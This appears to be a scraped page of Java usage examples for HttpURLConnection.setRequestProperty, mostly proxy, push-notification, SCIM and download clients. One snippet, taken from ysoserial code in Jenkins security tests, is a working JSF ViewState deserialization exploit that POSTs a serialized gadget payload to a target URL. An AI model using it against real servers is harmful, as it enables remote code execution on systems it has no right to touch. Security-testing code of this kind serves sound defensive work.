List of usage examples for java.net HttpURLConnection setRequestProperty
public void setRequestProperty(String key, String value)
From source file:Main.java
public static void main(String[] argv) throws Exception { Properties systemSettings = System.getProperties(); systemSettings.put("proxySet", "true"); systemSettings.put("http.proxyHost", "proxy.mycompany.local"); systemSettings.put("http.proxyPort", "80"); URL u = new URL("http://www.google.com"); HttpURLConnection con = (HttpURLConnection) u.openConnection(); BASE64Encoder encoder = new BASE64Encoder(); String encodedUserPwd = encoder.encode("domain\\username:password".getBytes()); con.setRequestProperty("Proxy-Authorization", "Basic " + encodedUserPwd); con.setRequestMethod("HEAD"); System.out.println(con.getResponseCode() + " : " + con.getResponseMessage()); System.out.println(con.getResponseCode() == HttpURLConnection.HTTP_OK); }
From source file:Main.java
public static void main(String[] argv) throws Exception { byte[] b = new byte[1]; Properties systemSettings = System.getProperties(); systemSettings.put("http.proxyHost", "proxy.mydomain.local"); systemSettings.put("http.proxyPort", "80"); URL u = new URL("http://www.google.com"); HttpURLConnection con = (HttpURLConnection) u.openConnection(); BASE64Encoder encoder = new BASE64Encoder(); String encodedUserPwd = encoder.encode("mydomain\\MYUSER:MYPASSWORD".getBytes()); con.setRequestProperty("Proxy-Authorization", "Basic " + encodedUserPwd); DataInputStream di = new DataInputStream(con.getInputStream()); while (-1 != di.read(b, 0, 1)) { System.out.print(new String(b)); }/*from w w w . ja v a2 s. com*/ }
From source file:com.jixstreet.temanusaha.gcm.GcmSender.java
public static void main(String[] args) { if (args.length < 1 || args.length > 2 || args[0] == null) { System.err.println("usage: ./gradlew run -Pmsg=\"MESSAGE\" [-Pto=\"DEVICE_TOKEN\"]"); System.err.println(""); System.err.println(// ww w . j a v a 2 s .com "Specify a test message to broadcast via GCM. If a device's GCM registration token is\n" + "specified, the message will only be sent to that device. Otherwise, the message \n" + "will be sent to all devices subscribed to the \"global\" topic."); System.err.println(""); System.err.println( "Example (Broadcast):\n" + "On Windows: .\\gradlew.bat run -Pmsg=\"<Your_Message>\"\n" + "On Linux/Mac: ./gradlew run -Pmsg=\"<Your_Message>\""); System.err.println(""); System.err.println("Example (Unicast):\n" + "On Windows: .\\gradlew.bat run -Pmsg=\"<Your_Message>\" -Pto=\"<Your_Token>\"\n" + "On Linux/Mac: ./gradlew run -Pmsg=\"<Your_Message>\" -Pto=\"<Your_Token>\""); System.exit(1); } try { // Prepare JSON containing the GCM message content. What to send and where to send. JSONObject jGcmData = new JSONObject(); JSONObject jData = new JSONObject(); try { jData.put("message", args[0].trim()); } catch (JSONException e) { e.printStackTrace(); } // Where to send GCM message. if (args.length > 1 && args[1] != null) { try { jGcmData.put("to", args[1].trim()); } catch (JSONException e) { e.printStackTrace(); } } else { try { jGcmData.put("to", "/topics/global"); } catch (JSONException e) { e.printStackTrace(); } } // What to send in GCM message. try { JSONObject data = jGcmData.put("data", jData); } catch (JSONException e) { e.printStackTrace(); } // Create connection to send GCM Message request. URL url = new URL("https://android.googleapis.com/gcm/send"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestProperty("Authorization", "key=" + API_KEY); conn.setRequestProperty("Content-Type", "application/json"); conn.setRequestMethod("POST"); conn.setDoOutput(true); // Send GCM message content. OutputStream outputStream = conn.getOutputStream(); outputStream.write(jGcmData.toString().getBytes()); // Read GCM response. InputStream inputStream = conn.getInputStream(); String resp = IOUtils.toString(inputStream); System.out.println(resp); System.out.println("Check your device/emulator for notification or logcat for " + "confirmation of the receipt of the GCM message."); } catch (IOException e) { System.out.println("Unable to send GCM message."); System.out.println("Please ensure that API_KEY has been replaced by the server " + "API key, and that the device's registration token is correct (if specified)."); e.printStackTrace(); } }
From source file:jenkins.security.security218.ysoserial.exploit.JSF.java
public static void main(String[] args) { if (args.length < 3) { System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>"); System.exit(-1);/*from w w w . ja v a2 s . c o m*/ } final Object payloadObject = Utils.makePayloadObject(args[1], args[2]); try { URL u = new URL(args[0]); URLConnection c = u.openConnection(); if (!(c instanceof HttpURLConnection)) { throw new IllegalArgumentException("Not a HTTP url"); } HttpURLConnection hc = (HttpURLConnection) c; hc.setDoOutput(true); hc.setRequestMethod("POST"); hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); OutputStream os = hc.getOutputStream(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(payloadObject); oos.close(); byte[] data = bos.toByteArray(); String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); os.write(requestBody.getBytes("US-ASCII")); os.close(); System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); } catch (Exception e) { e.printStackTrace(System.err); } Utils.releasePayload(args[1], payloadObject); }
From source file:Main.java
public static void main(String s[]) throws Exception { try {/*from w w w. jav a 2 s . c o m*/ Properties systemSettings = System.getProperties(); systemSettings.put("proxySet", "true"); systemSettings.put("http.proxyHost", "proxy.mycompany.local"); systemSettings.put("http.proxyPort", "80"); URL u = new URL("http://www.java.com"); HttpURLConnection con = (HttpURLConnection) u.openConnection(); sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder(); String encodedUserPwd = encoder.encode("domain\\username:password".getBytes()); con.setRequestProperty("Proxy-Authorization", "Basic " + encodedUserPwd); con.setRequestMethod("HEAD"); System.out.println(con.getResponseCode() + " : " + con.getResponseMessage()); System.out.println(con.getResponseCode() == HttpURLConnection.HTTP_OK); } catch (Exception e) { e.printStackTrace(); System.out.println(false); } }
From source file:org.wso2.charon3.samples.group.sample01.CreateGroupSample.java
public static void main(String[] args) { try {/*www . ja v a2s.c o m*/ String url = "http://localhost:8080/scim/v2/Groups"; URL obj = new URL(url); HttpURLConnection con = (HttpURLConnection) obj.openConnection(); // Setting basic post request con.setRequestMethod("POST"); con.setRequestProperty("Content-Type", "application/scim+json"); // Send post request con.setDoOutput(true); DataOutputStream wr = new DataOutputStream(con.getOutputStream()); wr.writeBytes(createRequestBody); wr.flush(); wr.close(); int responseCode = con.getResponseCode(); BufferedReader in; if (responseCode == HttpURLConnection.HTTP_CREATED) { // success in = new BufferedReader(new InputStreamReader(con.getInputStream())); } else { in = new BufferedReader(new InputStreamReader(con.getErrorStream())); } String inputLine; StringBuffer response = new StringBuffer(); while ((inputLine = in.readLine()) != null) { response.append(inputLine); } in.close(); //printing result from response System.out.println("Response Code : " + responseCode); System.out.println("Response Message : " + con.getResponseMessage()); System.out.println("Response Content : " + response.toString()); } catch (ProtocolException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } }
From source file:org.wso2.msf4j.example.SampleClient.java
public static void main(String[] args) throws IOException { HttpEntity messageEntity = createMessageForComplexForm(); // Uncomment the required message body based on the method that want to be used //HttpEntity messageEntity = createMessageForMultipleFiles(); //HttpEntity messageEntity = createMessageForSimpleFormStreaming(); String serverUrl = "http://localhost:8080/formService/complexForm"; // Uncomment the required service url based on the method that want to be used //String serverUrl = "http://localhost:8080/formService/multipleFiles"; //String serverUrl = "http://localhost:8080/formService/simpleFormStreaming"; URL url = URI.create(serverUrl).toURL(); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setDoOutput(true);//from w w w . j ava 2s. c o m connection.setRequestMethod("POST"); connection.setRequestProperty("Content-Type", messageEntity.getContentType().getValue()); try (OutputStream out = connection.getOutputStream()) { messageEntity.writeTo(out); } InputStream inputStream = connection.getInputStream(); String response = StreamUtil.asString(inputStream); IOUtils.closeQuietly(inputStream); connection.disconnect(); System.out.println(response); }
From source file:org.wso2.charon3.samples.user.sample01.CreateUserSample.java
public static void main(String[] args) { try {/*w ww. j av a 2 s. c o m*/ String url = "http://localhost:8080/scim/v2/Users"; URL obj = new URL(url); HttpURLConnection con = (HttpURLConnection) obj.openConnection(); // Setting basic post request con.setRequestMethod("POST"); con.setRequestProperty("Content-Type", "application/scim+json"); // Send post request con.setDoOutput(true); DataOutputStream wr = new DataOutputStream(con.getOutputStream()); wr.writeBytes(createRequestBody); wr.flush(); wr.close(); int responseCode = con.getResponseCode(); BufferedReader in; if (responseCode == HttpURLConnection.HTTP_CREATED) { // success in = new BufferedReader(new InputStreamReader(con.getInputStream())); } else { in = new BufferedReader(new InputStreamReader(con.getErrorStream())); } String inputLine; StringBuffer response = new StringBuffer(); while ((inputLine = in.readLine()) != null) { response.append(inputLine); } in.close(); //printing result from response System.out.println("Response Code : " + responseCode); System.out.println("Response Message : " + con.getResponseMessage()); System.out.println("Response Content : " + response.toString()); } catch (ProtocolException e) { e.printStackTrace(); } catch (MalformedURLException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } }
From source file:GoogleImages.java
public static void main(String[] args) throws InterruptedException { String searchTerm = "s woman"; // term to search for (use spaces to separate terms) int offset = 40; // we can only 20 results at a time - use this to offset and get more! String fileSize = "50mp"; // specify file size in mexapixels (S/M/L not figured out yet) String source = null; // string to save raw HTML source code // format spaces in URL to avoid problems searchTerm = searchTerm.replaceAll(" ", "%20"); // get Google image search HTML source code; mostly built from PhyloWidget example: // http://code.google.com/p/phylowidget/source/browse/trunk/PhyloWidget/src/org/phylowidget/render/images/ImageSearcher.java int offset2 = 0; Set urlsss = new HashSet<String>(); while (offset2 < 600) { try {//w w w . j a v a 2 s. co m URL query = new URL("https://www.google.ru/search?start=" + offset2 + "&q=angry+woman&newwindow=1&client=opera&hs=bPE&source=lnms&tbm=isch&sa=X&ved=0ahUKEwiAgcKozIfNAhWoHJoKHSb_AUoQ_AUIBygB&biw=1517&bih=731&dpr=0.9#imgrc=G_1tH3YOPcc8KM%3A"); HttpURLConnection urlc = (HttpURLConnection) query.openConnection(); // start connection... urlc.setInstanceFollowRedirects(true); urlc.setRequestProperty("User-Agent", ""); urlc.connect(); BufferedReader in = new BufferedReader(new InputStreamReader(urlc.getInputStream())); // stream in HTTP source to file StringBuffer response = new StringBuffer(); char[] buffer = new char[1024]; while (true) { int charsRead = in.read(buffer); if (charsRead == -1) { break; } response.append(buffer, 0, charsRead); } in.close(); // close input stream (also closes network connection) source = response.toString(); } // any problems connecting? let us know catch (Exception e) { e.printStackTrace(); } // print full source code (for debugging) // println(source); // extract image URLs only, starting with 'imgurl' if (source != null) { // System.out.println(source); int c = StringUtils.countMatches(source, "http://www.vmir.su"); System.out.println(c); int index = source.indexOf("src="); System.out.println(source.subSequence(index, index + 200)); while (index >= 0) { System.out.println(index); index = source.indexOf("src=", index + 1); if (index == -1) { break; } String rr = source.substring(index, index + 200 > source.length() ? source.length() : index + 200); if (rr.contains("\"")) { rr = rr.substring(5, rr.indexOf("\"", 5)); } System.out.println(rr); urlsss.add(rr); } } offset2 += 20; Thread.sleep(1000); System.out.println("off set = " + offset2); } System.out.println(urlsss); urlsss.forEach(new Consumer<String>() { public void accept(String s) { try { saveImage(s, "C:\\Users\\Java\\Desktop\\ang\\" + UUID.randomUUID().toString() + ".jpg"); } catch (IOException ex) { Logger.getLogger(GoogleImages.class.getName()).log(Level.SEVERE, null, ex); } } }); // String[][] m = matchAll(source, "img height=\"\\d+\" src=\"([^\"]+)\""); // older regex, no longer working but left for posterity // built partially from: http://www.mkyong.com/regular-expressions/how-to-validate-image-file-extension-with-regular-expression // String[][] m = matchAll(source, "imgurl=(.*?\\.(?i)(jpg|jpeg|png|gif|bmp|tif|tiff))"); // (?i) means case-insensitive // for (int i = 0; i < m.length; i++) { // iterate all results of the match // println(i + ":\t" + m[i][1]); // print (or store them)** // } }
From source file:net.securnetwork.itebooks.downloader.EbookDownloader.java
/** * Program main method.// w w w . jav a 2 s . c o m * * @param args the program arguments */ public static void main(String[] args) { if (validateArguments(args)) { int start = MIN_EBOOK_INDEX; int end = getLastEbookIndex(); String destinationFolder = null; // Check if resume mode if (args.length == 1 && args[0].equals(RESUME_ARG)) { start = Integer.parseInt(prefs.get(LAST_SAVED_EBOOK_PREF, MIN_EBOOK_INDEX - 1 + "")) + 1; //$NON-NLS-1$ destinationFolder = prefs.get(OUTPUT_FOLDER_PREF, null); } else { destinationFolder = getDestinationFolder(args); } if (destinationFolder == null) { System.err.println(Messages.getString("EbookDownloader.NoDestinationFolderFound")); //$NON-NLS-1$ return; } else { // Possibly fix the destination folder path destinationFolder = destinationFolder.replace("\\", "/"); if (!destinationFolder.endsWith("/")) { destinationFolder += "/"; } prefs.put(OUTPUT_FOLDER_PREF, destinationFolder); } if (args.length == 3) { start = getStartIndex(args); end = getEndIndex(args); } try { for (int i = start; i <= end; i++) { String ebookPage = BASE_EBOOK_URL + i + SLASH; Source sourceHTML = new Source(new URL(ebookPage)); List<Element> allTables = sourceHTML.getAllElements(HTMLElementName.TABLE); Element detailsTable = allTables.get(0); // Try to build an info bean for the ebook String bookTitle = EbookPageParseUtils.getTitle(detailsTable); if (bookTitle != null) { EbookInfo ebook = createEbookInfo(bookTitle, i, detailsTable); String filename = destinationFolder + Misc.getValidFilename(ebook.getTitle(), ebook.getSubTitle(), ebook.getYear(), ebook.getFileFormat()); System.out.print(MessageFormat.format(Messages.getString("EbookDownloader.InfoDownloading"), //$NON-NLS-1$ new Object[] { ebook.getSiteId() })); try { URL ebookPageURL = new URL(ebook.getDownloadLink()); HttpURLConnection con = (HttpURLConnection) ebookPageURL.openConnection(); con.setRequestMethod("GET"); con.setRequestProperty("Referer", ebookPage); InputStream conIS = con.getInputStream(); FileUtils.copyInputStreamToFile(conIS, new File(filename)); System.out.println(Messages.getString("EbookDownloader.DownloadingOK")); //$NON-NLS-1$ prefs.put(LAST_SAVED_EBOOK_PREF, i + ""); //$NON-NLS-1$ conIS.close(); } catch (Exception e) { System.out.println(Messages.getString("EbookDownloader.DownloadingKO")); //$NON-NLS-1$ } } } } catch (Exception e) { System.err.println(Messages.getString("EbookDownloader.FatalError")); //$NON-NLS-1$ e.printStackTrace(); } } else { printHelp(); } }